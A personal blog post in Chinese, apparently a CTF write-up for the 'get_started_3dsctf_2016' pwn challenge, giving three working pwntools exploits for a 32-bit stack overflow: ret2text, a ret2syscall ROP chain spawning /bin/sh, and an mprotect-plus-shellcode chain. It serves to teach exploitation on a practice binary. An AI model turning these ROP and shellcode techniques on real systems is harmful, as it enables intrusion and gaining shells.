f1r3K0's Blog

欲买桂花同载酒

Pwn_get_started_3dsctf_2016

最近就是飞来飞去打了一些比赛,基于DBus挖了一些有意思的本地提权,很久没PWN了!

1.前言

拿到这道题以为是一道简单不能再简单的ret2text,事实证明我年轻了…

2.正常解法ret2text

main函数开头就是使用esp寻址,函数开头没有常规的push ebp mov ebp esp操作,说明这题是外平栈,外平栈一般使用esp+x辅助定位,内平栈则是ebp-x辅助定位

image-20241206110801157

因此这题算偏移时就是0x38,无需+4

image-20241206112142717

另一个坑点是fopen函数打开flag.txt后需要标准输出,因此需要调用fflush()或者exit()

随后直接按照常规ret2text即可,劫持到fopen这里直接绕过判断

image-20241206114544864

照理说这里没有意外,可是出了一些玄学意外

所以我这里还是按出题者思路去构造if绕过打成了

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
#p = process('./get_started_3dsctf_2016')
p = remote('node5.buuoj.cn',25129)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
payload = b'a' * 0x38+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()

3.第二种解法ret2syscall

利用ROPgadget寻找system、/bin/sh这些发现都没有,打libc太麻烦,用系统调用+可写地址自己写bin/sh

先找pop eax

1
2
3
4
5
6
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x080b91e6 : pop eax ; ret

再找pop ebx

1
2
3
4
5
6
7
8
9
10
11
12
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret

找可写地址,借一下别人的图

image-20241206123613968

/sh/x00需要写在它的后四位。即”0x080eb020+4“,最后需要填入int 0x80:

1
0x0806d7e5 : int 0x80

最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

local = 1
if local == 1:
io = process('./get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',29252)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
payload = 'a'*56+p32(pop_eax_ret)+'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(0x080eb020+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(0x080eb020)+p32(int80)
io.sendline(payload)

io.interactive()

4.第三种解法

执行完mprotect函数后返回read函数,从输入端读取mprotect_len长度的内容放入到mprotect_addr。最后传入shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

elf = ELF('./get_started_3dsctf_2016')

local = 0
if local == 1:
io = process('./get_started_3dsctf_2016')
else:
io = remote('node4.buuoj.cn',26854)

mprotect_addr = 0x806EC80
mprotect_start = 0x080ea000
mprotect_len = 0x64
mprotect_proc = 0x7

pop_edx_ecx_ebx = 0x0806fc30

read_addr = elf.symbols['read']

shellcode = asm(shellcraft.i386.linux.sh())

payload = 'a'*0x38+p32(mprotect_addr)+p32(pop_edx_ecx_ebx)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_proc)
payload += p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(mprotect_start)+p32(mprotect_len)+p32(mprotect_start)

io.sendline(payload)
io.sendline(shellcode)
io.interactive()

二进制太难了~


© 2024 K